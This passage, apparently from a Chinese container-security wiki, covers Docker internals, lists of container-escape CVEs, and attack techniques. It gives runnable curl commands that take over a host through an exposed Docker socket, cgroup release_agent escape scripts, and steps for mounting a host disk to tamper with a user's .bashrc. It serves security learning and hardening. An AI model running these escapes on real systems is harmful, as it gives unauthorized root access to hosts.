```
2. Docker客户端向守护进程的API发送POST请求
3. Docker守护进程接收指令并调用`containerd`启动新容器
4. `containerd`从Docker镜像创建OCI捆绑包
5. `containerd`告诉`runc`使用OCI捆绑包创建容器
6. `runc`与操作系统内核接口创建容器
7. 容器进程作为子进程启动
8. `runc`在启动容器后退出
9. `containerd-shim`接管子进程并成为其父进程
10. 容器正在运行！
## 参考资料
* [Docker引擎架构底层原理](https://medium.com/@yeldos/docker-engine-architecture-under-the-hood-741512b340d5)
# 逃逸技术
# CVE列表
## Containerd
| CVE | 标题 | 受影响版本 | 参考资料 |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2022-23648](https://github.com/containerd/containerd/security/advisories/GHSA-crp2-qrr5-8pq7) | 通过containerd的CRI实现启动的容器，如果使用特殊构造的镜像配置，可以访问主机上任意文件和目录的只读副本 | <= 1.4.12
1.5.0 - 1.5.9
1.6.0
| > 技术报告：containerd - 镜像卷的不安全处理
> CVE-2022-23648的PoC
|
| [CVE-2021-41103](https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq) | 容器根目录和插件目录的权限限制不足 | <1.4.11
<1.5.7
| [Github公告：GHSA-c2h3-6mxw-7mvq](https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq) |
| [CVE-2021-32760](https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w) | 归档包允许对解压目标目录之外的文件进行chmod操作 | <=1.4.7
<=1.5.3
| [Github公告：GHSA-c72p-9xmj-rx3w](https://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w) |
| [CVE-2021-21334](https://github.com/containerd/containerd/security/advisories/GHSA-6g2q-w5j3-fwh4) | containerd CRI插件：环境变量可能在容器间泄露 | <=1.3.9
<= 1.4.3
| [Github公告：GHSA-6g2q-w5j3-fwh4](https://github.com/containerd/containerd/security/advisories/GHSA-6g2q-w5j3-fwh4) |
| [CVE-2020-15257](https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/) | containerd-shim API暴露给主机网络容器 | <=1.3.7
1.4.0
1.4.1
| [技术报告：containerd – containerd-shim API暴露给主机网络容器 (CVE-2020-15257)](https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/) |
| [CVE-2020-15157](https://github.com/containerd/containerd/security/advisories/GHSA-742w-89gc-8m9c) | containerd v1.2.x可能在镜像拉取期间被强迫泄露凭证 | < 1.3.0 | > Github公告：GHSA-742w-89gc-8m9c
> CVE-2020-15157 "ContainerDrip" 技术分析
|
## CRI-O
| CVE | 标题 | 受影响版本 | 参考资料 |
| --------------------------------------------------------------------------------------- | ------------------------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| [CVE-2022-0811](https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7) | 在Kubernetes集群上部署Pod的权限导致滥用`kernel.core_pattern`参数 | `>1.19.0` | [cr8escape：CrowdStrike发现的CRI-O容器引擎新漏洞 (CVE-2022-0811)](https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/) |
## Linux内核
| CVE | 标题 | 所需权能 | 参考资料 | |
| ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2022-47939](https://nvd.nist.gov/vuln/detail/CVE-2022-47939) | fs/ksmbd/smb2pdu.c中的释放后使用漏洞 | `?` | > [Linux内核ksmbd释放后使用远程代码执行漏洞](https://www.zerodayinitiative.com/advisories/ZDI-22-1690/) | |
| [CVE-2022-34918](https://nvd.nist.gov/vuln/detail/CVE-2022-34918) | nft\_set\_elem\_init中的类型混淆错误导致缓冲区溢出 | CAP\_NET\_ADMIN | > CVE-2022-34918 Linux防火墙中的裂缝
> Github：randorisec/CVE-2022-34918-LPE-PoC
| |
| [CVE-2022-32250](https://nvd.nist.gov/vuln/detail/CVE-2022-32250) | Netfilter子系统中的释放后使用漏洞 | `?` | > 使用mqueue的Linux内核漏洞利用 (CVE-2022-32250)
> NETLINK定居者：利用nf\_tables中的有限UAF (CVE-2022-32250)
| |
| [CVE-2022-29582](https://nvd.nist.gov/vuln/detail/CVE-2022-29582) | fs/io\_uring.c中由于io\_uring超时的竞争条件导致的释放后使用漏洞 | - | > CVE-2022-29582：io\_uring漏洞
> Github：Ruia-ruia/CVE-2022-29582-Exploit
| |
| [CVE-2022-27666](https://nvd.nist.gov/vuln/detail/CVE-2022-27666) | net/ipv4/esp4.c和net/ipv6/esp6.c中IPsec ESP转换代码中的堆缓冲区溢出漏洞，允许具有普通用户权限的本地攻击者覆盖内核堆对象 | `?` | > CVE-2022-27666：利用Linux内核中的esp6模块
> Github：plummm/CVE-2022-27666
| |
| [CVE-2022-2602](https://access.redhat.com/security/cve/cve-2022-2602) | 处理io\_uring请求时的释放后使用漏洞 | | > DirtyCred重制版：如何将UAF转换为权限提升
> Github：LukeGix/CVE-2022-2602
| |
| [CVE-2022-2588](https://access.redhat.com/security/cve/cve-2022-2588) | Linux内核中net/sched/cls\_route.c过滤器实现中route4\_change的释放后使用漏洞 | CAP\_NET\_ADMIN | > DirtyCred：打开当前和未来容器逃逸的潘多拉盒子
> Markakd/CVE-2022-2588
| |
| [CVE-2022-25636](https://nvd.nist.gov/vuln/detail/CVE-2022-25636) | 越界内存访问导致权限提升 | CAP\_NET\_ADMIN | [CVE-2022-25636的发现和利用](https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/) | |
| [CVE-2022-1786](https://nvd.nist.gov/vuln/detail/CVE-2022-1786) | io\_uring子系统中用户设置具有多个任务在此环上完成提交的IORING\_SETUP\_IOPOLL环的方式中的释放后使用缺陷 | `?` | [CVE-2022-1786 黎明之旅](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/) | |
| [CVE-2022-1015](https://nvd.nist.gov/vuln/detail/CVE-2022-1015) | netfilter子系统中linux/net/netfilter/nf\_tables\_api.c的缺陷，允许本地用户导致越界写入问题 | CAP\_NET\_ADMIN | > CVE-2022-1015：Netfilter中的验证缺陷导致本地权限提升
> 时局已变：nf\_tables中两个新Linux漏洞的分析
| |
| [CVE-2022-0995](https://nvd.nist.gov/vuln/detail/CVE-2022-0995) | watch\_queue事件通知子系统中的越界内存写入缺陷，可以覆盖内核状态的部分内容 | `?` | [Github：Bonfee/CVE-2022-0995](https://github.com/Bonfee/CVE-2022-0995) | |
| [CVE-2022-0847](https://nvd.nist.gov/vuln/detail/cve-2022-0847) | 允许覆盖任意只读文件中的数据，并通过将代码注入root进程导致权限提升的漏洞 | CAP\_DAC\_READ\_SEARCH | > Dirty Pipe漏洞
> DirtyPipe (CVE-2022-0847) – 新的DirtyCoW？
> Github：greenhandatsjtu/CVE-2022-0847-Container-Escape
> Github：Al1ex/CVE-2022-0847
| |
| [CVE-2022-0492](https://nvd.nist.gov/vuln/detail/CVE-2022-0492) | 缺少验证允许在没有管理权限的情况下为进程设置`release_agent`文件 | CAP\_SYS\_ADMIN
禁用AppArmor/SELinux
禁用Seccomp
| [影响Cgroups的新Linux漏洞CVE-2022-0492：容器能逃逸吗？](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) | |
| [CVE-2022-0185](https://access.redhat.com/security/cve/cve-2022-0185) | Linux内核文件系统上下文功能中legacy\_parse\_param函数的基于堆的缓冲区溢出缺陷 | CAP\_SYS\_ADMIN
或unshare(CLONE\_NEWNS | CLONE\_NEWUSER)
| > CVE-2022-0185 - 在攻陷Ubuntu和逃逸Google的KCTF容器后获得31337美元奖金
> Linux内核中的CVE-2022-0185可能允许Kubernetes中的容器逃逸
> Github：Crusaders-of-Rust/CVE-2022-0185
|
| [CVE-2021-22555](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555) | Linux Netfilter中的堆越界写入 | CAP\_NET\_ADMIN | [CVE-2021-22555：将\x00\x00变成10000美元](https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html) | |
| [CVE-2021-31440](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31440) | 处理eBPF程序中的缺陷导致权限提升 | CAP\_SYS\_MODULE | [CVE-2021-31440：LINUX内核EBPF验证器中的错误边界计算](https://www.zerodayinitiative.com/blog/2021/5/26/cve-2021-31440-an-incorrect-bounds-calculation-in-the-linux-kernel-ebpf-verifier) | |
| [CVE-2020-8835](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8835) | bpf验证器(kernel/bpf/verifier.c)没有正确限制32位操作的寄存器边界，导致内核内存中的越界读取和写入 | CAP\_SYS\_ADMIN | [CVE-2020-8835：通过不当的EBPF程序验证进行LINUX内核权限提升](https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification) | |
| [CVE-2017-7308](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7308) | net/packet/af\_packet.c中的packet\_set\_ring函数没有正确验证某些块大小数据，允许本地用户通过特殊构造的系统调用获得权限 | CAP\_NET\_RAW | [通过数据包套接字利用Linux内核](https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html) | |
## RunC
| CVE | 标题 | 受影响版本 | 参考资料 |
| ------------------------------------------------------------------------------------------------ | ---------------------------- | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [CVE-2021-30465](https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r) | 挂载目标可以通过符号交换交换，导致在rootfs外部挂载 | <=1.0.0-rc94 | > Github公告：GHSA-c3xm-pvg7-gh7r
> runc挂载目标可以通过符号交换交换，导致在rootfs外部挂载 (CVE-2021-30465)
|
| [CVE-2019-19921](https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw) | procfs与共享卷挂载的竞争条件 | <1.0.0-rc10 | [Github公告：GHSA-fh74-hm69-rqjw](https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw) |
| [CVE-2019-5736](https://nvd.nist.gov/vuln/detail/CVE-2019-5736) | 由于文件描述符处理不当导致覆盖主机runc二进制文件 | <=1.0-rc6 | > CVE-2019-5736：从Docker和Kubernetes容器逃逸到主机root
> 通过runC突破Docker – 解释CVE-2019-5736
|
## 参考资料
* [容器安全网站：容器CVE列表](https://www.container-security.site/general_information/container_cve_list.html)
* Zeronights 2021：Dmitriy Evdokimov – 容器逃逸Kubernetes版
* [视频](https://www.youtube.com/watch?v=JoLgVBTc73c)
* [幻灯片](https://zeronights.ru/wp-content/uploads/2021/09/zn2021_container_escapes_kubernetes_edition_v4.pdf)
# 暴露的Docker Socket
Docker守护进程可以通过三种不同类型的套接字监听[Docker引擎API](https://docs.docker.com/engine/api/)请求：
* `unix`
* `tcp`
* `fd`
默认情况下，Docker通过非网络UNIX套接字运行，该套接字创建在`/var/run/docker.sock`，需要root权限或docker组成员资格。
{% hint style="info" %}
此外，请注意其他高级运行时的运行时套接字：
* dockershim: `unix:///var/run/dockershim.sock`
* containerd: `unix:///run/containerd/containerd.sock`
* cri-o: `unix:///var/run/crio/crio.sock`
* frakti: `unix:///var/run/frakti.sock`
* rktlet: `unix:///var/run/rktlet.sock`
* ...
{% endhint %}
`tcp`套接字用于远程访问Docker守护进程，默认设置提供未加密和未认证的直接访问。通常使用端口**2375**进行未加密通信，使用端口**2376**进行与守护进程的加密通信。
在基于Systemd的系统上，与Docker守护进程的通信可以通过Systemd套接字`fd://`进行。
有时Docker守护进程可以在容器内部或通过网络访问。这通常导致在主机系统上执行命令和从容器逃逸。
## 列出所有容器
使用`curl`命令通过`unix`套接字列出主机上的所有容器。
```bash
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
```
使用`curl`命令通过`tcp`套接字列出主机上的所有容器。
```bash
$ curl -s http://:/containers/json
```
## 创建容器
使用`curl`命令通过`unix`套接字创建容器。
```bash
$ export CONTAINER_NAME=test-container
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```
使用`curl`命令通过`tcp`套接字创建容器。
```bash
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://:/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
```
## 启动容器
```bash
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://:/containers/${CONTAINER_NAME}/start" \
-X POST \
-H "Content-Type: application/json"
```
## 在容器中执行代码
首先需要创建一个将在容器中运行的`exec`实例。
```bash
$ curl \
-s \
"http://:/containers//exec" \
-X POST \
-H "Content-Type: application/json" \
-d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
HTTP/1.1 201 Created
...
{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
```
现在`exec`已经创建，您需要运行它。
```bash
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
-s \
"http://:/exec/${EXEC_ID}/start"
-X POST \
-H "Content-Type: application/json" \
-d '{"Detach": false,"Tty": false}' \
HTTP/1.1 200 OK
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
## 主机接管
要在主机系统上执行命令，启动Docker容器并将主机根目录挂载到容器卷上。
1. 下载ubuntu镜像。
```bash
$ curl \
-s \
"http://:/images/create?fromImage=ubuntu&tag=latest" \
-X POST \
-H 'Content-Type: application/json'
```
2. 创建容器。
```bash
$ curl \
-s \
"http://:/containers/create"
-X POST \
-H "Content-Type: application/json" \
-d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
```
3. 启动容器。
4. 为了在主机系统上执行命令，更改根目录。
```bash
$ chroot /hostfs
```
## 参考资料
* [技术分析：通过未认证的Docker远程API获得Microsoft Dynamics容器沙箱RCE，20000美元奖金](https://hencohen10.medium.com/microsoft-dynamics-container-sandbox-rce-via-unauthenticated-docker-remote-api-20-000-bounty-7f726340a93b)
* [技术分析：逃逸Cloud Shell容器](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/)
* [Quarkslab博客：为什么暴露Docker Socket是个非常糟糕的主意？](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)
# 过度权限
使用`--privileged`或危险权能运行Docker容器允许特权操作。
{% hint style="info" %}
`--privileged`标志为容器提供所有[权能（Capabilities）](https://man7.org/linux/man-pages/man7/capabilities.7.html)，并且还解除了设备cgroup控制器强加的所有限制。换句话说，容器几乎可以执行主机可以执行的所有操作。
{% endhint %}
您可以使用[capsh](https://man7.org/linux/man-pages/man1/capsh.1.html)命令查看授予的权能：
```bash
$ capsh --print | grep Current
```
## CAP\_SYS\_ADMIN
[CAP\_SYS\_ADMIN](https://man7.org/linux/man-pages/man7/capabilities.7.html)在很大程度上是一个全能权能，它很容易导致额外的权能或完整的root权限（通常是对所有权能的访问）。执行一系列管理操作需要`CAP_SYS_ADMIN`，如果在容器内执行特权操作，很难从容器中删除此权能。对于模拟整个系统的容器，保留此权能通常是必要的，而可以更限制性的单个应用程序容器则不需要。
### 滥用用户模式助手API
特权容器可以注册在内核上下文中执行的用户模式应用程序助手，有关从内核调用用户空间应用程序的更多信息见[此处](https://developer.ibm.com/technologies/linux/articles/l-user-space-apps/)。
[@\_fel1x](https://twitter.com/_fel1x/status/1151487051986087936)逃逸技术基于滥用cgroups v1中`notify_on_release`功能的功能，以完全特权的root用户身份运行漏洞利用。
这是一个在主机上启动`ps`的PoC版本：
```bash
# 查找并启用cgroup release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# 在cgroup中启用notify_on_release
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
touch /o; echo $t/c > $d/release_agent
# 创建payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c
# 通过空的cgroup.procs触发cgroup
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# 读取输出
cat /o
```
#### 使用此技术的要求
实际上，`--privileged`提供的权限比通过此方法逃逸Docker容器所需的要多得多。实际上，"唯一"的要求是：
* 您必须在容器内以root身份运行。
* 容器必须以`CAP_SYS_ADMIN` Linux权能运行。
* 容器必须缺少AppArmor配置文件，或允许mount系统调用。
* cgroup v1虚拟文件系统必须在容器内以读写方式挂载。
#### 使用cgroups传递漏洞利用
PoC滥用cgroups v1中`notify_on_release`功能的功能，以完全特权的root用户身份运行漏洞利用。
当cgroup中的最后一个任务离开（通过退出或附加到另一个cgroup）时，将执行`release_agent`文件中提供的命令。这的预期用途是帮助修剪废弃的cgroup。此命令在调用时，在主机上以完全特权的root身份运行。
[notify\_on\_release做什么？](https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt)
如果在cgroup中启用了`notify_on_release`标志，那么每当cgroup中的最后一个任务离开（退出或附加到其他cgroup）并且该cgroup的最后一个子cgroup被移除时，内核将运行该层次结构根目录中`release_agent`文件内容指定的命令，提供废弃cgroup的路径名（相对于cgroup文件系统的挂载点）。这实现了废弃cgroup的自动移除。系统启动时根cgroup中`notify_on_release`的默认值是禁用的。创建时其他cgroup的默认值是其父级`notify_on_release`设置的当前值。cgroup层次结构的`release_agent`路径的默认值为空。
#### 仅使用CAP\_SYS\_ADMIN权能逃逸
有一种更简单的方法来编写这个漏洞利用，使其在没有`--privileged`标志的情况下工作。在这种情况下，您将无法访问`--privileged`提供的读写cgroup挂载。为此，您需要自己将cgroup挂载为读写。这为漏洞利用增加了一行，但需要更少的权限。
在主机上运行容器的命令示例：
```bash
$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
下面的漏洞利用将在主机上执行`ps aux`命令并将其输出保存到容器中的`/output`文件。它使用与原始PoC相同的`release_agent`功能在主机上执行。
```bash
# 挂载RDMA cgroup控制器并创建子cgroup
# 此技术应该适用于大多数cgroup控制器
# 如果您跟随操作并得到"mount: /tmp/cgrp: special device cgroup does not exist"
# 这是因为您的设置没有RDMA cgroup控制器，尝试将rdma更改为memory来修复它
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 在"x" cgroup释放时启用cgroup通知
echo 1 > /tmp/cgrp/x/notify_on_release
# 查找容器的OverlayFS挂载路径
# 除非配置明确暴露主机文件系统的挂载点
# 参见 https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 将release_agent设置为/path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 创建payload
echo "#!/bin/sh" > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# 通过在"x"子cgroup内生成立即结束的进程来执行攻击
# 通过创建/bin/sh进程并将其PID写入"x"子cgroup目录中的cgroup.procs文件
# 主机上的脚本将在/bin/sh退出后执行
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 读取输出
cat /output
```
### 滥用暴露的主机目录
假设`/home`目录在特权容器内通过`/dev/sdb1`暴露。在这种情况下，您可以为该块设备生成设备节点，将其挂载到容器中，并访问主机的`/home`目录。
```bash
$ docker run --privileged -it --rm alpine:latest
/ $ apk update && apk add util-linux
# ...
/ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 45G 0 disk
├─sda1 8:1 0 40.9G 0 part /etc/hosts
├─sda2 8:2 0 16M 0 part
├─sda3 8:3 0 2G 0 part
│ └─vroot 253:0 0 1.2G 1 dm
├─sda4 8:4 0 16M 0 part
├─sda5 8:5 0 2G 0 part
├─sda6 8:6 0 512B 0 part
├─sda7 8:7 0 512B 0 part
├─sda8 8:8 0 16M 0 part
├─sda9 8:9 0 512B 0 part
├─sda10 8:10 0 512B 0 part
├─sda11 8:11 0 8M 0 part
└─sda12 8:12 0 32M 0 part
sdb 8:16 0 5G 0 disk
└─sdb1 8:17 0 5G 0 part
zram0 252:0 0 768M 0 disk [SWAP]
/ $ mknod /dev/sdb1 block 8 17
/ $ mkdir /mnt/host_home
/ $ mount /dev/sdb1 /mnt/host_home
/ $ echo 'echo "Hello from container land!" 2>&1' >> /mnt/host_home/eric_chiang_m/.bashrc
```
参考资料：
* [技术分析：特权容器不是容器](https://ericchiang.github.io/post/privileged-containers/)
## CAP\_SYS\_MODULE
[CAP\_SYS\_MODULE](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程加载和卸载任意内核模块（`init_module(2)`、`finit_module(2)`和`delete_module(2)`系统调用）。这可能导致简单的权限提升和ring-0妥协。内核可以被随意修改，破坏所有系统安全、Linux安全模块和容器系统。
{% hint style="info" %}
Docker在特权容器中删除了CAP\_SYS\_MODULE权能。
{% endhint %}
参考资料：
* [技术分析：我如何入侵Play-with-Docker并在主机上远程运行代码](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
## CAP\_SYS\_RAWIO
[CAP\_SYS\_RAWIO](https://man7.org/linux/man-pages/man7/capabilities.7.html)提供许多敏感操作，包括访问`/dev/mem`、`/dev/kmem`或`/proc/kcore`、修改`mmap_min_addr`、访问`ioperm(2)`和`iopl(2)`系统调用以及各种磁盘命令。`FIBMAP ioctl(2)`也通过此权能启用，这在[过去](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html)曾引起问题。根据手册页，这也允许持有者描述性地`在其他设备上执行一系列设备特定操作`。
## CAP\_NET\_ADMIN
[CAP\_NET\_ADMIN](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许权能持有者修改暴露的网络命名空间的防火墙、路由表、套接字权限、网络接口配置和暴露网络接口上的其他相关设置。这也提供了为附加的网络接口启用混杂模式并可能跨命名空间嗅探的能力。
应该注意的是，一些权限提升漏洞和其他历史弱点已经利用此权能的能力造成。这包括CVE-2011-1019，它有效地授予CAP\_SYS\_MODULE权能以加载任意模块，并使用ifconfig CVE-2010-4655轻易利用，这导致敏感堆内存泄露，以及导致拒绝服务和可能任意代码执行的CVE-2013-4514。这些问题主要是由于巨大的攻击表面和为特殊接口或套接字类型的隐式模块加载。
## CAP\_SYS\_CHROOT
[CAP\_SYS\_CHROOT](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`chroot(2)`系统调用。这可能允许逃逸任何`chroot(2)`环境，使用已知的弱点和逃逸方法：
* [如何从各种chroot解决方案中突破](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
* [chw00t：chroot逃逸工具](https://github.com/earthquake/chw00t/)
## CAP\_SYS\_PTRACE
[CAP\_SYS\_PTRACE](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`ptrace(2)`和最近引入的跨内存附加系统调用，如`process_vm_readv(2)`和`process_vm_writev(2)`。如果授予此权能并且`ptrace(2)`系统调用本身没有被seccomp过滤器阻止，这将允许攻击者绕过其他seccomp限制，参见[如果允许ptrace则绕过seccomp的PoC](https://gist.github.com/thejh/8346f47e359adecd1d53)。
参考资料：
* [tbhaxor：容器突破 – 第1部分（实验：进程注入）](https://tbhaxor.com/container-breakout-part-1/)
## CAP\_NET\_RAW
[CAP\_NET\_RAW](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程能够为可用网络命名空间创建RAW和PACKET套接字类型。这允许通过暴露的网络接口进行任意数据包生成和传输。在许多情况下，此接口将是虚拟以太网设备，这可能允许恶意或受损的容器在各种网络层欺骗数据包。具有此权能的恶意进程或受损容器可以注入到上游网桥，利用容器之间的路由，绕过网络访问控制，并且如果没有防火墙限制数据包类型和内容，则可以篡改主机网络。
Docker设置容器网络，使所有容器共享同一个Linux虚拟网桥。这些容器将能够相互通信。即使此直接网络访问被禁用（使用Docker的`-icc=false`标志），容器也不受链路层流量的限制。特别是，对同一主机系统内的另一个容器进行ARP欺骗攻击是可能的（事实上相当容易），允许对目标容器的流量进行完整的中间人攻击。
## CAP\_SYS\_BOOT
[CAP\_SYS\_BOOT](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许使用`reboot(2)`系统调用。它还允许通过`LINUX_REBOOT_CMD_RESTART2`执行任意重启命令，为某些特定硬件平台实现。
此权能还允许使用`kexec_load(2)`系统调用，该调用加载新的崩溃内核，从Linux 3.17开始，`kexec_file_load(2)`也将加载已签名的内核。
## CAP\_SYSLOG
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html)最终在Linux 2.6.37中从`CAP_SYS_ADMIN`全能权能中分离出来，此权能允许进程使用`syslog(2)`系统调用。当`/proc/sys/kernel/kptr_restrict`设置为1时，这也允许进程查看通过`/proc`和其他接口暴露的内核地址。
`kptr_restrict` sysctl设置在2.6.38中引入，确定是否暴露内核地址。自2.6.39以来，在vanilla内核中这默认为零（暴露内核地址），尽管许多发行版正确地将值设置为1（对除uid 0之外的所有人隐藏）或2（总是隐藏）。
此外，如果`dmesg_restrict`设置为1，此权能还允许进程查看`dmesg`输出。最后，由于历史原因，`CAP_SYS_ADMIN`权能仍然允许执行`syslog`操作。
## CAP\_DAC\_READ\_SEARCH
[CAP\_DAC\_READ\_SEARCH](https://man7.org/linux/man-pages/man7/capabilities.7.html)允许进程绕过文件读取、目录读取和执行权限。虽然这被设计用于搜索或读取文件，但它也授予进程调用`open_by_handle_at(2)`的权限。任何具有`CAP_DAC_READ_SEARCH`权能的进程可以使用`open_by_handle_at(2)`来访问任何文件，甚至超出其挂载命名空间的文件。传递到`open_by_handle_at(2)`的句柄应该是使用`name_to_handle_at(2)`检索的不透明标识符。然而，此句柄包含敏感和可篡改的信息，如inode号。Sebastian Krahmer首次通过[shocker](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)漏洞利用在Docker容器中显示这是一个问题。
> Docker通过删除CAP\_DAC\_READ\_SEARCH（以及使用seccomp阻止对open\_by\_handle\_at的访问）来缓解了这个问题
## 参考资料
* [理解和强化Linux容器](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
* [滥用特权和非特权Linux容器](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
* [理解Docker容器逃逸](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
# 主机网络驱动
如果容器配置了Docker[主机网络驱动（--network=host）](https://docs.docker.com/network/host/)，则该容器的网络栈与Docker主机不隔离（容器共享主机的网络命名空间），并且容器不会获得分配给自己的IP地址。换句话说，容器将所有服务直接绑定到主机的IP。此外，容器可以拦截主机在共享接口`tcpdump -i eth0`上发送和接收的所有网络流量。
例如，您可以使用此功能嗅探甚至欺骗主机和元数据实例之间的流量。
参考资料：
* [技术分析：如何联系Google SRE：在云SQL中放置shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务MITM允许root权限提升（EKS / GKE）](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/)
# PID命名空间共享
## 概述
PID命名空间在进程之间提供分离。它防止系统进程可见，并允许重用进程ID，包括PID 1。如果主机的PID命名空间与容器共享，这将允许它们查看主机系统上的所有进程。
如果PID命名空间被共享，这意味着：
* 容器进程不再有PID 1。一些容器拒绝在没有PID 1的情况下启动（例如，使用`systemd`的容器）或运行如`kill -HUP 1`之类的命令来信号容器进程。在具有共享进程命名空间的Kubernetes Pod中，`kill -HUP 1`将信号Pod沙箱。
* 主机进程（或Pod中容器的进程）对容器（或其他容器）可见。这包括`/proc`中可见的所有信息，例如作为参数或环境变量传递的机密信息。这些仅受常规Unix权限保护。
* 主机（或容器）文件系统通过`/proc/[pid]/root`链接对容器（或Pod中的其他容器）可见。
PID命名空间共享减少了主机和容器之间的进程级隔离，并使各种攻击成为可能，包括注入到主机进程（需要[CAP\_SYS\_PTRACE](/rong-qi-an-quan/tao-yi-ji-shu/excessive-capabilities#cap_sys_ptrace)）。
## 参考资料
* [tbhaxor：容器突破 – 第1部分（实验：进程注入）](https://tbhaxor.com/container-breakout-part-1/)
* [#BrokenSesame：私有注册表的意外'写'权限允许对阿里云数据库服务进行潜在RCE](https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r)
# 敏感挂载
